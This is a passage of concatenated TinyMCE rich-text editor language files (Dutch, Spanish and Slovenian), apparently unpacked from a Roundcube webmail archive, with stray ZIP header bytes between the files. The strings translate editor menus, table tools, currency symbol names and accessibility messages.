"Issue {0} of {1}": "Probleem {0} van {1}",
"Images must be marked as decorative or have an alternative text description": "Afbeeldingen markeren als decoratief of alternatieve tekstbeschrijving geven",
"Images must have an alternative text description. Decorative images are not allowed.": "Afbeeldingen moeten een alternatieve tekstbeschrijving hebben. Decoratieve afbeeldingen zijn niet toegelaten.",
"Or provide alternative text:": "Of voorzie alternatieve tekst:",
"Make image decorative:": "Afbeelding decoratief maken",
"ID attribute must be unique": "ID attribuut moet uniek zijn",
"Make ID unique": "ID uniek maken",
"Keep this ID and remove all others": "Dit ID behouden en alle andere verwijderen",
"Remove this ID": "Dit ID verwijderen",
"Remove all IDs": "Alle IDs verwijderen",
"Checklist": "Controlelijst"
});PK
h�\�Xr!==program/js/tinymce/langs/es.jsnu�[���tinymce.addI18n('es',{
"Redo": "Rehacer",
"Undo": "Deshacer",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Pegar",
"Select all": "Seleccionar todo",
"New document": "Nuevo documento",
"Ok": "Ok",
"Cancel": "Cancelar",
"Visual aids": "Ayudas visuales",
"Bold": "Negrita",
"Italic": "Cursiva",
"Underline": "Subrayado",
"Strikethrough": "Tachado",
"Superscript": "Super\u00edndice",
"Subscript": "Sub\u00edndice",
"Clear formatting": "Limpiar formato",
"Align left": "Alinear a la izquierda",
"Align center": "Alinear al centro",
"Align right": "Alinear a la derecha",
"Justify": "Justificar",
"Bullet list": "Lista de vi\u00f1etas",
"Numbered list": "Lista numerada",
"Decrease indent": "Disminuir sangr\u00eda",
"Increase indent": "Incrementar sangr\u00eda",
"Close": "Cerrar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Su navegador no es compatible con el acceso directo al portapapeles. Use las teclas Crtl+X\/C\/V de su teclado.",
"Headers": "Encabezados",
"Header 1": "Encabezado 1",
"Header 2": "Encabezado 2",
"Header 3": "Encabezado 3",
"Header 4": "Encabezado 4",
"Header 5": "Encabezado 5",
"Header 6": "Encabezado 6",
"Headings": "Encabezados",
"Heading 1": "Encabezado 1",
"Heading 2": "Encabezado 2",
"Heading 3": "Encabezado 3",
"Heading 4": "Encabezado 4",
"Heading 5": "Encabezado 5",
"Heading 6": "Encabezado 6",
"Preformatted": "Con formato previo",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "P\u00e1rrafo",
"Blockquote": "Blockquote",
"Inline": "Alineado",
"Blocks": "Bloques",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Pegar est\u00e1 ahora en modo de texto plano. El contenido se pegar\u00e1 como texto plano hasta que desactive esta opci\u00f3n.",
"Fonts": "Fuentes",
"Font Sizes": "Tama\u00f1os de fuente",
"Class": "Clase",
"Browse for an image": "Buscar una imagen",
"OR": "OR",
"Drop an image here": "Arrastre una imagen aqu\u00ed",
"Upload": "Cargar",
"Block": "Bloque",
"Align": "Alinear",
"Default": "Por defecto",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Square": "Cuadrado",
"Lower Alpha": "Inferior Alfa",
"Lower Greek": "Inferior Griega",
"Lower Roman": "Inferior Romana",
"Upper Alpha": "Superior Alfa",
"Upper Roman": "Superior Romana",
"Anchor...": "Anclaje...",
"Name": "Nombre",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Deber\u00eda comenzar por una letra, seguida solo de letras, n\u00fameros, guiones, puntos, dos puntos o guiones bajos.",
"You have unsaved changes are you sure you want to navigate away?": "Tiene cambios sin guardar. \u00bfEst\u00e1 seguro de que quiere salir?",
"Restore last draft": "Restaurar el \u00faltimo borrador",
"Special character...": "Car\u00e1cter especial...",
"Source code": "C\u00f3digo fuente",
"Insert\/Edit code sample": "Insertar\/editar c\u00f3digo de prueba",
"Language": "Idioma",
"Code sample...": "Ejemplo de c\u00f3digo...",
"Color Picker": "Selector de colores",
"R": "R",
"G": "V",
"B": "A",
"Left to right": "De izquierda a derecha",
"Right to left": "De derecha a izquierda",
"Emoticons...": "Emoticones...",
"Metadata and Document Properties": "Metadatos y propiedades del documento",
"Title": "T\u00edtulo",
"Keywords": "Palabras clave",
"Description": "Descripci\u00f3n",
"Robots": "Robots",
"Author": "Autor",
"Encoding": "Codificaci\u00f3n",
"Fullscreen": "Pantalla completa",
"Action": "Acci\u00f3n",
"Shortcut": "Atajo",
"Help": "Ayuda",
"Address": "Direcci\u00f3n",
"Focus to menubar": "Enfocar la barra del men\u00fa",
"Focus to toolbar": "Enfocar la barra de herramientas",
"Focus to element path": "Enfocar la ruta del elemento",
"Focus to contextual toolbar": "Enfocar la barra de herramientas contextual",
"Insert link (if link plugin activated)": "Insertar enlace (si el complemento de enlace est\u00e1 activado)",
"Save (if save plugin activated)": "Guardar (si el componente de salvar est\u00e1 activado)",
"Find (if searchreplace plugin activated)": "Buscar (si el complemento buscar-remplazar est\u00e1 activado)",
"Plugins installed ({0}):": "Plugins instalados ({0}):",
"Premium plugins:": "Complementos premium:",
"Learn more...": "Aprende m\u00e1s...",
"You are using {0}": "Estas usando {0}",
"Plugins": "Complementos",
"Handy Shortcuts": "Accesos directos",
"Horizontal line": "L\u00ednea horizontal",
"Insert\/edit image": "Insertar\/editar imagen",
"Image description": "Descripci\u00f3n de la imagen",
"Source": "Enlace",
"Dimensions": "Dimensiones",
"Constrain proportions": "Restringir proporciones",
"General": "General",
"Advanced": "Avanzado",
"Style": "Estilo",
"Vertical space": "Espacio vertical",
"Horizontal space": "Espacio horizontal",
"Border": "Borde",
"Insert image": "Insertar imagen",
"Image...": "Imagen...",
"Image list": "Lista de im\u00e1genes",
"Rotate counterclockwise": "Girar a la izquierda",
"Rotate clockwise": "Girar a la derecha",
"Flip vertically": "Invertir verticalmente",
"Flip horizontally": "Invertir horizontalmente",
"Edit image": "Editar imagen",
"Image options": "Opciones de imagen",
"Zoom in": "Acercar",
"Zoom out": "Alejar",
"Crop": "Recortar",
"Resize": "Redimensionar",
"Orientation": "Orientaci\u00f3n",
"Brightness": "Brillo",
"Sharpen": "Forma",
"Contrast": "Contraste",
"Color levels": "Niveles de color",
"Gamma": "Gamma",
"Invert": "Invertir",
"Apply": "Aplicar",
"Back": "Atr\u00e1s",
"Insert date\/time": "Insertar fecha\/hora",
"Date\/time": "Fecha\/hora",
"Insert\/Edit Link": "Insertar\/editar enlace",
"Insert\/edit link": "Insertar\/editar enlace",
"Text to display": "Texto para mostrar",
"Url": "URL",
"Open link in...": "Abrir enlace en...",
"Current window": "Ventana actual",
"None": "Ninguno",
"New window": "Nueva ventana",
"Remove link": "Quitar enlace",
"Anchors": "Anclas",
"Link...": "Enlace...",
"Paste or type a link": "Pega o introduce un enlace",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "El enlace que has introducido no parece ser una direcci\u00f3n de correo electr\u00f3nico. Quieres a\u00f1adir el prefijo necesario mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "El enlace que has introducido no parece ser una enlace externo. Quieres a\u00f1adir el prefijo necesario http:\/\/ ?",
"Link list": "Lista de enlaces",
"Insert video": "Insertar video",
"Insert\/edit video": "Insertar\/editar video",
"Insert\/edit media": "Insertar\/editar medio",
"Alternative source": "Enlace alternativo",
"Alternative source URL": "Origen de URL alternativo",
"Media poster (Image URL)": "P\u00f3ster de medio (URL de imagen)",
"Paste your embed code below:": "Pega tu c\u00f3digo embebido debajo",
"Embed": "Incrustado",
"Media...": "Medios...",
"Nonbreaking space": "Espacio fijo",
"Page break": "Salto de p\u00e1gina",
"Paste as text": "Pegar como texto",
"Preview": "Previsualizar",
"Print...": "Imprimir...",
"Save": "Guardar",
"Find": "Buscar",
"Replace with": "Reemplazar con",
"Replace": "Reemplazar",
"Replace all": "Reemplazar todo",
"Previous": "Anterior",
"Next": "Siguiente",
"Find and replace...": "Buscar y reemplazar...",
"Could not find the specified string.": "No se encuentra la cadena de texto especificada",
"Match case": "Coincidencia exacta",
"Find whole words only": "Solo palabras completas",
"Spell check": "Revisar ortograf\u00eda",
"Ignore": "Ignorar",
"Ignore all": "Ignorar todos",
"Finish": "Finalizar",
"Add to Dictionary": "A\u00f1adir al Diccionario",
"Insert table": "Insertar tabla",
"Table properties": "Propiedades de la tabla",
"Delete table": "Eliminar tabla",
"Cell": "Celda",
"Row": "Fila",
"Column": "Columna",
"Cell properties": "Propiedades de la celda",
"Merge cells": "Combinar celdas",
"Split cell": "Dividir celdas",
"Insert row before": "Insertar fila antes",
"Insert row after": "Insertar fila despu\u00e9s ",
"Delete row": "Eliminar fila",
"Row properties": "Propiedades de la fila",
"Cut row": "Cortar fila",
"Copy row": "Copiar fila",
"Paste row before": "Pegar la fila antes",
"Paste row after": "Pegar la fila despu\u00e9s",
"Insert column before": "Insertar columna antes",
"Insert column after": "Insertar columna despu\u00e9s",
"Delete column": "Eliminar columna",
"Cols": "Columnas",
"Rows": "Filas",
"Width": "Ancho",
"Height": "Alto",
"Cell spacing": "Espacio entre celdas",
"Cell padding": "Relleno de celda",
"Show caption": "Mostrar t\u00edtulo",
"Left": "Izquierda",
"Center": "Centrado",
"Right": "Derecha",
"Cell type": "Tipo de celda",
"Scope": "\u00c1mbito",
"Alignment": "Alineaci\u00f3n",
"H Align": "Alineamiento Horizontal",
"V Align": "Alineamiento Vertical",
"Top": "Arriba",
"Middle": "Centro",
"Bottom": "Abajo",
"Header cell": "Celda de la cebecera",
"Row group": "Grupo de filas",
"Column group": "Grupo de columnas",
"Row type": "Tipo de fila",
"Header": "Cabecera",
"Body": "Cuerpo",
"Footer": "Pie de p\u00e1gina",
"Border color": "Color del borde",
"Insert template...": "Insertar plantilla...",
"Templates": "Plantillas",
"Template": "Plantilla",
"Text color": "Color del texto",
"Background color": "Color de fondo",
"Custom...": "Personalizar...",
"Custom color": "Color personalizado",
"No color": "Sin color",
"Remove color": "Quitar color",
"Table of Contents": "Tabla de contenidos",
"Show blocks": "Mostrar bloques",
"Show invisible characters": "Mostrar caracteres invisibles",
"Word count": "Contar palabras",
"Count": "Recuento",
"Document": "Documento",
"Selection": "Selecci\u00f3n",
"Words": "Palabras",
"Words: {0}": "Palabras: {0}",
"{0} words": "{0} palabras",
"File": "Archivo",
"Edit": "Editar",
"Insert": "Insertar",
"View": "Ver",
"Format": "Formato",
"Table": "Tabla",
"Tools": "Herramientas",
"Powered by {0}": "Desarrollado por {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u00c1rea de texto enriquecido. Pulse ALT-F9 para el menu. Pulse ALT-F10 para la barra de herramientas. Pulse ALT-0 para ayuda",
"Image title": "Titulo de imagen",
"Border width": "Ancho de borde",
"Border style": "Estilo de borde",
"Error": "Error",
"Warn": "Advertencia",
"Valid": "V\u00e1lido",
"To open the popup, press Shift+Enter": "Para abrir el elemento emergente, pulse May\u00fas+Intro",
"Rich Text Area. Press ALT-0 for help.": "\u00c1rea de texto enriquecido. Pulse ALT-0 para abrir la ayuda.",
"System Font": "Fuente de sistema",
"Failed to upload image: {0}": "Fallo al cargar imagen: {0}",
"Failed to load plugin: {0} from url {1}": "Fallo al cargar complemento: {0} desde URL {1}",
"Failed to load plugin url: {0}": "Fallo al cargar URL del complemento: {0}",
"Failed to initialize plugin: {0}": "Fallo al iniciar el complemento: {0}",
"example": "ejemplo",
"Search": "Buscar",
"All": "Todo",
"Currency": "Divisa",
"Text": "Texto",
"Quotations": "Comillas",
"Mathematical": "S\u00edmbolo matem\u00e1tico",
"Extended Latin": "Latino extendido A",
"Symbols": "S\u00edmbolos",
"Arrows": "Flechas",
"User Defined": "Definido por el usuario",
"dollar sign": "signo de d\u00f3lar",
"currency sign": "signo de divisa",
"euro-currency sign": "signo de euro",
"colon sign": "signo de dos puntos",
"cruzeiro sign": "signo de cruceiro",
"french franc sign": "signo de franco franc\u00e9s",
"lira sign": "signo de lira",
"mill sign": "signo de mill",
"naira sign": "signo de naira",
"peseta sign": "signo de peseta",
"rupee sign": "signo de rupia",
"won sign": "signo de won",
"new sheqel sign": "signo de nuevo s\u00e9quel",
"dong sign": "signo de dong",
"kip sign": "signo de kip",
"tugrik sign": "signo de tugrik",
"drachma sign": "signo de dracma",
"german penny symbol": "signo de penique alem\u00e1n",
"peso sign": "signo de peso",
"guarani sign": "signo de guaran\u00ed",
"austral sign": "signo de austral",
"hryvnia sign": "signo de grivna",
"cedi sign": "signo de cedi",
"livre tournois sign": "signo de libra tornesa",
"spesmilo sign": "signo de spesmilo",
"tenge sign": "signo de tenge",
"indian rupee sign": "signo de rupia india",
"turkish lira sign": "signo de lira turca",
"nordic mark sign": "signo de marco n\u00f3rdico",
"manat sign": "signo de manat",
"ruble sign": "signo de rublo",
"yen character": "car\u00e1cter de yen",
"yuan character": "car\u00e1cter de yuan",
"yuan character, in hong kong and taiwan": "car\u00e1cter de yuan en Hong Kong y Taiw\u00e1n",
"yen\/yuan character variant one": "Variante uno de car\u00e1cter de yen\/yuan",
"Loading emoticons...": "Cargando emoticonos...",
"Could not load emoticons": "No se han podido cargar los emoticonos",
"People": "Personas",
"Animals and Nature": "Animales y naturaleza",
"Food and Drink": "Comida y bebida",
"Activity": "Actividad",
"Travel and Places": "Viajes y lugares",
"Objects": "Objetos",
"Flags": "Banderas",
"Characters": "Caracteres",
"Characters (no spaces)": "Caracteres (sin espacios)",
"{0} characters": "{0} caracteres",
"Error: Form submit field collision.": "Error: Colisi\u00f3n de campo al enviar formulario.",
"Error: No form element found.": "Error: No se encuentra ning\u00fan elemento de formulario.",
"Update": "Actualizar",
"Color swatch": "Muestrario de colores",
"Turquoise": "Turquesa",
"Green": "Verde",
"Blue": "Azul",
"Purple": "P\u00farpura",
"Navy Blue": "Azul marino",
"Dark Turquoise": "Turquesa oscuro",
"Dark Green": "Verde oscuro",
"Medium Blue": "Azul medio",
"Medium Purple": "P\u00farpura medio",
"Midnight Blue": "Azul medio",
"Yellow": "Amarillo",
"Orange": "Naranja",
"Red": "Rojo",
"Light Gray": "Gris claro",
"Gray": "Gris",
"Dark Yellow": "Amarillo oscuro",
"Dark Orange": "Naranja oscuro",
"Dark Red": "Rojo oscuro",
"Medium Gray": "Gris medio",
"Dark Gray": "Gris oscuro",
"Light Green": "Verde claro",
"Light Yellow": "Amarillo claro",
"Light Red": "Rojo claro",
"Light Purple": "Morado claro",
"Light Blue": "Azul claro",
"Dark Purple": "Morado oscuro",
"Dark Blue": "Azul oscuro",
"Black": "Negro",
"White": "Blanco",
"Switch to or from fullscreen mode": "Activar o desactivar modo pantalla completa",
"Open help dialog": "Abrir di\u00e1logo de ayuda",
"history": "historial",
"styles": "estilos",
"formatting": "formato",
"alignment": "alineaci\u00f3n",
"indentation": "sangr\u00eda",
"permanent pen": "bol\u00edgrafo permanente",
"comments": "comentarios",
"Format Painter": "Copiar formato",
"Insert\/edit iframe": "Insertar\/editar iframe",
"Capitalization": "Uso de may\u00fasculas",
"lowercase": "min\u00fasculas",
"UPPERCASE": "MAY\u00daSCULAS",
"Title Case": "Tipo T\u00edtulo",
"Permanent Pen Properties": "Propiedades del bol\u00edgrafo permanente",
"Permanent pen properties...": "Propiedades del bol\u00edgrafo permanente...",
"Font": "Fuente",
"Size": "Tama\u00f1o",
"More...": "M\u00e1s...",
"Spellcheck Language": "Corrector",
"Select...": "Seleccionar...",
"Preferences": "Preferencias",
"Yes": "S\u00ed",
"No": "No",
"Keyboard Navigation": "Navegaci\u00f3n con el teclado",
"Version": "Versi\u00f3n",
"Anchor": "Ancla",
"Special character": "Car\u00e1cter especial",
"Code sample": "Ejemplo de c\u00f3digo",
"Color": "Color",
"Emoticons": "Emoticonos",
"Document properties": "Propiedades del documento",
"Image": "Imagen",
"Insert link": "Insertar enlace",
"Target": "Destino",
"Link": "Enlace",
"Poster": "Miniatura",
"Media": "Media",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Buscar y reemplazar",
"Whole words": "Palabras completas",
"Spellcheck": "Corrector ortogr\u00e1fico",
"Caption": "Subt\u00edtulo",
"Insert template": "Insertar plantilla"
});PK
h�\"g��CCprogram/js/tinymce/langs/sl.jsnu�[���tinymce.addI18n('sl',{
"Redo": "Ponovno uveljavi",
"Undo": "Razveljavi",
"Cut": "Izre\u017ei",
"Copy": "Kopiraj",
"Paste": "Prilepi",
"Select all": "Izberi vse",
"New document": "Nov dokument",
"Ok": "V redu",
"Cancel": "Prekli\u010di",
"Visual aids": "Vizualni pripomo\u010dki",
"Bold": "Krepko",
"Italic": "Po\u0161evno",
"Underline": "Pod\u010drtano",
"Strikethrough": "Pre\u010drtano",
"Superscript": "Nadpisano",
"Subscript": "Podpisano",
"Clear formatting": "Odstrani oblikovanje",
"Align left": "Leva poravnava",
"Align center": "Sredinska poravnava",
"Align right": "Desna poravnava",
"Justify": "Obojestranska poravnava",
"Bullet list": "Ozna\u010den seznam",
"Numbered list": "O\u0161tevil\u010den seznam",
"Decrease indent": "Zmanj\u0161aj zamik",
"Increase indent": "Pove\u010daj zamik",
"Close": "Zapri",
"Formats": "Oblika",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Varnostne nastavitve brskalnika ne dopu\u0161\u010dajo direktnega dostopa do odlo\u017ei\u0161\u010da. Uporabite kombinacijo tipk Ctrl + X\/C\/V na tipkovnici.",
"Headers": "Naslovi",
"Header 1": "Naslov 1",
"Header 2": "Naslov 2",
"Header 3": "Naslov 3",
"Header 4": "Naslov 4",
"Header 5": "Naslov 5",
"Header 6": "Naslov 6",
"Headings": "Naslovi",
"Heading 1": "Naslov 1",
"Heading 2": "Naslov 2",
"Heading 3": "Naslov 3",
"Heading 4": "Naslov 4",
"Heading 5": "Naslov 5",
"Heading 6": "Naslov 6",
"Preformatted": "Predformatirano",
"Div": "Div",
"Pre": "Pre",
"Code": "Koda",
"Paragraph": "Odstavek",
"Blockquote": "Blockquote",
"Inline": "Med besedilom",
"Blocks": "Bloki",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Odlagali\u0161\u010de je sedaj v tekstovnem na\u010dinu. Vsebina bo preslikana kot besedilo, dokler te mo\u017enosti ne izklju\u010dite.",
"Fonts": "Pisave",
"Font Sizes": "Velikosti pisave",
"Class": "Razred",
"Browse for an image": "Prebrskaj za sliko",
"OR": "ALI",
"Drop an image here": "Spusti sliko sem",
"Upload": "Nalo\u017ei",
"Block": "Blok",
"Align": "Poravnava",
"Default": "Privzeto",
"Circle": "Krog",
"Disc": "Disk",
"Square": "Kvadrat",
"Lower Alpha": "Mala alfa",
"Lower Greek": "Male gr\u0161ke \u010drke",
"Lower Roman": "Male rimske \u0161tevilke",
"Upper Alpha": "Velika alfa",
"Upper Roman": "Velike rimske \u0161tevilke",
"Anchor...": "Sidro ...",
"Name": "Naziv",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id se mora za\u010deti s \u010drko, sledijo samo \u010drke, \u0161tevilke, pomi\u0161ljaji, pike, dvopi\u010dja ali pod\u010drtaji.",
"You have unsaved changes are you sure you want to navigate away?": "Imate neshranjene spremembe. Ste prepri\u010dati, da \u017eelite zapustiti stran?",
"Restore last draft": "Obnovi zadnji osnutek",
"Special character...": "Poseben znak ...",
"Source code": "Izvorna koda",
"Insert\/Edit code sample": "Vstavi\/Uredi vzor\u010dno kodo",
"Language": "Jezik",
"Code sample...": "Vzor\u010dna koda ...",
"Color Picker": "Izbirnik barve",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Od leve proti desni",
"Right to left": "Od desne proti levi",
"Emoticons": "\u010custveni simboli",
"Emoticons...": "\u010custveni simboli ...",
"Metadata and Document Properties": "Metapodatki in lastnosti dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne besede",
"Description": "Opis",
"Robots": "Robotki",
"Author": "Avtor",
"Encoding": "Kodiranje",
"Fullscreen": "\u010cez cel zaslon",
"Action": "Dejanje",
"Shortcut": "Bli\u017enjica",
"Help": "Pomo\u010d",
"Address": "Naslov",
"Focus to menubar": "Poudarek na menijski vrstici",
"Focus to toolbar": "Poudarek na orodni vrstici",
"Focus to element path": "Poudarek na poti elementa",
"Focus to contextual toolbar": "Poudarek na kontekstualni orodni vrstici",
"Insert link (if link plugin activated)": "Vstavi povezavo (\u010de je aktiviran vti\u010dnik za povezavo)",
"Save (if save plugin activated)": "Shrani (\u010de je aktiviran vti\u010dnik za shranjevanje)",
"Find (if searchreplace plugin activated)": "I\u0161\u010di (\u010de je aktiviran vti\u010dnik za iskanje\/zamenjavo)",
"Plugins installed ({0}):": "Name\u0161\u010deni vti\u010dniki ({0}):",
"Premium plugins:": "Premium vti\u010dniki:",
"Learn more...": "Ve\u010d ...",
"You are using {0}": "Uporabljate {0}",
"Plugins": "Vti\u010dniki",
"Handy Shortcuts": "Uporabne bli\u017enjice",
"Horizontal line": "Vodoravna \u010drta",
"Insert\/edit image": "Vstavi\/uredi sliko",
"Alternative description": "Nadomestni opis",
"Accessibility": "Dostopnost",
"Image is decorative": "Slika je okrasna",
"Source": "Pot",
"Dimensions": "Dimenzije",
"Constrain proportions": "Obdr\u017ei razmerje",
"General": "Splo\u0161no",
"Advanced": "Napredno",
"Style": "Slog",
"Vertical space": "Navpi\u010dni prostor",
"Horizontal space": "Vodoravni prostor",
"Border": "Meja",
"Insert image": "Vnesi sliko",
"Image...": "Slika ...",
"Image list": "Seznam slik",
"Rotate counterclockwise": "Zavrti v nasprotni smeri urnega kazalca",
"Rotate clockwise": "Zavrti v smeri urnega kazalca",
"Flip vertically": "Obrni navpi\u010dno",
"Flip horizontally": "Obrni vodoravno",
"Edit image": "Uredi sliko",
"Image options": "Mo\u017enosti slike",
"Zoom in": "Pove\u010daj",
"Zoom out": "Pomanj\u0161aj",
"Crop": "Obre\u017ei",
"Resize": "Spremeni velikost",
"Orientation": "Usmerjenost",
"Brightness": "Svetlost",
"Sharpen": "Izostri",
"Contrast": "Kontrast",
"Color levels": "Barvni nivo",
"Gamma": "Gama",
"Invert": "Obrni",
"Apply": "Uporabi",
"Back": "Nazaj",
"Insert date\/time": "Vstavi datum\/\u010das",
"Date\/time": "Datum\/\u010das",
"Insert\/edit link": "Vstavi\/uredi povezavo",
"Text to display": "Besedilo za prikaz",
"Url": "Povezava",
"Open link in...": "Odpri povezavo v ...",
"Current window": "Trenutno okno",
"None": "Brez",
"New window": "Novo okno",
"Open link": "Odpri povezavo",
"Remove link": "Odstrani povezavo",
"Anchors": "Sidra",
"Link...": "Povezava ...",
"Paste or type a link": "Prilepite ali vnesite povezavo",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Vneseni URL predstavlja e-po\u0161tni naslov. Ali \u017eelite dodati potrebno predpono \"mailto:\"?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Vneseni URL predstavlja zunanjo povezavo. Ali \u017eelite dodati predpono \"http:\/\/\"?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Vneseni URL naslov predstavlja zunanjo povezavo. Ali mu \u017eelite dodati predpono https:\/\/ ?",
"Link list": "Seznam povezav",
"Insert video": "Vstavi video",
"Insert\/edit video": "Vstavi\/uredi video",
"Insert\/edit media": "Vstavi\/uredi medij",
"Alternative source": "Nadomestni vir",
"Alternative source URL": "Nadomestni vir URL",
"Media poster (Image URL)": "Medijski poster (URL slike)",
"Paste your embed code below:": "Spodaj prilepite kodo za vdelavo:",
"Embed": "Vdelaj",
"Media...": "Mediji ...",
"Nonbreaking space": "Nedeljivi presledek",
"Page break": "Prelom strani",
"Paste as text": "Vnesi kot besedilo",
"Preview": "Predogled",
"Print...": "Natisni ...",
"Save": "Shrani",
"Find": "Najdi",
"Replace with": "Zamenjaj z",
"Replace": "Zamenjaj",
"Replace all": "Zamenjaj vse",
"Previous": "Prej\u0161nja",
"Next": "Naslednja",
"Find and Replace": "Najdi in zamenjaj",
"Find and replace...": "Najdi in zamenjaj ...",
"Could not find the specified string.": "Iskanje ni vrnilo rezultatov.",
"Match case": "Ujemanje malih in velikih \u010drk",
"Find whole words only": "I\u0161\u010di samo cele besede",
"Find in selection": "I\u0161\u010di v izboru",
"Spellcheck": "\u010crkovalnik",
"Spellcheck Language": "Jezik \u010drkovalnika",
"No misspellings found.": "Ni najdenih napak v \u010drkovanju.",
"Ignore": "Prezri",
"Ignore all": "Prezri vse",
"Finish": "Zaklju\u010di",
"Add to Dictionary": "Dodaj v slovar",
"Insert table": "Vstavi tabelo",
"Table properties": "Lastnosti tabele",
"Delete table": "Izbri\u0161i tabelo",
"Cell": "Celica",
"Row": "Vrstica",
"Column": "Stolpec",
"Cell properties": "Lastnosti celice",
"Merge cells": "Zdru\u017ei celice",
"Split cell": "Razdeli celico",
"Insert row before": "Vstavi vrstico pred",
"Insert row after": "Vstavi vrstico za",
"Delete row": "Izbri\u0161i vrstico",
"Row properties": "Lastnosti vrstice",
"Cut row": "Izre\u017ei vrstico",
"Copy row": "Kopiraj vrstico",
"Paste row before": "Prilepi vrstico pred",
"Paste row after": "Prilepi vrstico za",
"Insert column before": "Vstavi stolpec pred",
"Insert column after": "Vstavi stolpec za",
"Delete column": "Izbri\u0161i stolpec",
"Cols": "Stolpci",
"Rows": "Vrstice",
"Width": "\u0160irina",
"Height": "Vi\u0161ina",
"Cell spacing": "Razmik med celicami",
"Cell padding": "Polnilo med celicami",
"Caption": "Naslov",
"Show caption": "Poka\u017ei napis",
"Left": "Leva",
"Center": "Sredinska",
"Right": "Desna",
"Cell type": "Tip celice",
"Scope": "Obseg",
"Alignment": "Poravnava",
"H Align": "Vodoravna poravnava",
"V Align": "Navpi\u010dna poravnava",
"Top": "Vrh",
"Middle": "Sredina",
"Bottom": "Dno",
"Header cell": "Celica glave",
"Row group": "Grupiranje vrstic",
"Column group": "Grupiranje stolpcev",
"Row type": "Tip vrstice",
"Header": "Header",
"Body": "Vsebina",
"Footer": "Footer",
"Border color": "Barva obrobe",
"Insert template...": "Vstavi predlogo ...",
"Templates": "Predloge",
"Template": "Predloga",
"Text color": "Barva besedila",
"Background color": "Barva ozadja",
"Custom...": "Po meri ...",
"Custom color": "Barva po meri",
"No color": "Brezbarvno",
"Remove color": "Odstrani barvo",
"Table of Contents": "Kazalo",
"Show blocks": "Prika\u017ei bloke",
"Show invisible characters": "Prika\u017ei skrite znake",
"Word count": "\u0160tevilo besed",
"Count": "\u0160tevilo",
"Document": "Dokument",
"Selection": "Izbor",
"Words": "Besede",
"Words: {0}": "Besed: {0}",
"{0} words": "{0} besed",
"File": "Datoteka",
"Edit": "Uredi",
"Insert": "Vstavi",
"View": "Pogled",
"Format": "Oblika",
"Table": "Tabela",
"Tools": "Orodja",
"Powered by {0}": "Uporablja tehnologijo {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Bogato besedilo. Pritisnite ALT-F9 za meni. Pritisnite ALT-F10 za orodno vrstico. Pritisnite ALT-0 za pomo\u010d",
"Image title": "Naslov slike",
"Border width": "\u0160irina obrobe",
"Border style": "Slog obrobe",
"Error": "Napaka",
"Warn": "Opozorilo",
"Valid": "Veljavno",
"To open the popup, press Shift+Enter": "Za odpiranje pojavnega okna pritisnite Shift + Enter.",
"Rich Text Area. Press ALT-0 for help.": "Bogato besedilo. Pritisnite ALT-0 za pomo\u010d.",
"System Font": "Sistemska pisava",
"Failed to upload image: {0}": "Napaka nalaganja slike: {0}",
"Failed to load plugin: {0} from url {1}": "Napaka nalaganja vti\u010dnika: {0} z url {1}",
"Failed to load plugin url: {0}": "Napaka nalaganja url: {0}",
"Failed to initialize plugin: {0}": "Napaka inicializacije vti\u010dnika: {0}",
"example": "primer",
"Search": "Iskanje",
"All": "Vse",
"Currency": "Valuta",
"Text": "Besedilo",
"Quotations": "Citati",
"Mathematical": "Matemati\u010dno",
"Extended Latin": "Raz\u0161irjena latinica",
"Symbols": "Simboli",
"Arrows": "Pu\u0161\u010dice",
"User Defined": "Uporabnik dolo\u010den",
"dollar sign": "znak za dolar",
"currency sign": "znak za valuto",
"euro-currency sign": "znak za evro",
"colon sign": "znak za dvopi\u010dje",
"cruzeiro sign": "znak za cruzeiro",
"french franc sign": "znak za francoski frank",
"lira sign": "znak za liro",
"mill sign": "znak za mill",
"naira sign": "znak za nairo",
"peseta sign": "znak za peseto",
"rupee sign": "znak za rupijo",
"won sign": "znak za won",
"new sheqel sign": "znak za novi \u0161ekl",
"dong sign": "znak za dong",
"kip sign": "znak za kip",
"tugrik sign": "znak za tugrik",
"drachma sign": "znak za drahmo",
"german penny symbol": "znak za nem\u0161ki peni",
"peso sign": "znak za peso",
"guarani sign": "znak za guarani",
"austral sign": "znak za austral",
"hryvnia sign": "znak za hrivnijo",
"cedi sign": "znak za cedi",
"livre tournois sign": "znak za livre tournois",
"spesmilo sign": "znak za spesmilo",
"tenge sign": "znak za tenge",
"indian rupee sign": "znak za indijsko rupijo",
"turkish lira sign": "znak za tur\u0161ko liro",
"nordic mark sign": "znak za nordijsko marko",
"manat sign": "znak za manat",
"ruble sign": "znak za rubelj",
"yen character": "znak za jen",
"yuan character": "znak za yuan",
"yuan character, in hong kong and taiwan": "znak za yuan, v Hongkongu in na Tajvanu",
"yen\/yuan character variant one": "znak za jen\/yuan, prva razli\u010dica",
"Loading emoticons...": "Nalaganje \u010dustvenih simbolov ...",
"Could not load emoticons": "\u010custvenih simbolov ni mogo\u010de nalo\u017eiti.",
"People": "Ljudje",
"Animals and Nature": "\u017divali in narava",
"Food and Drink": "Hrana in pija\u010da",
"Activity": "Dejavnost",
"Travel and Places": "Potovanja in kraji",
"Objects": "Predmeti",
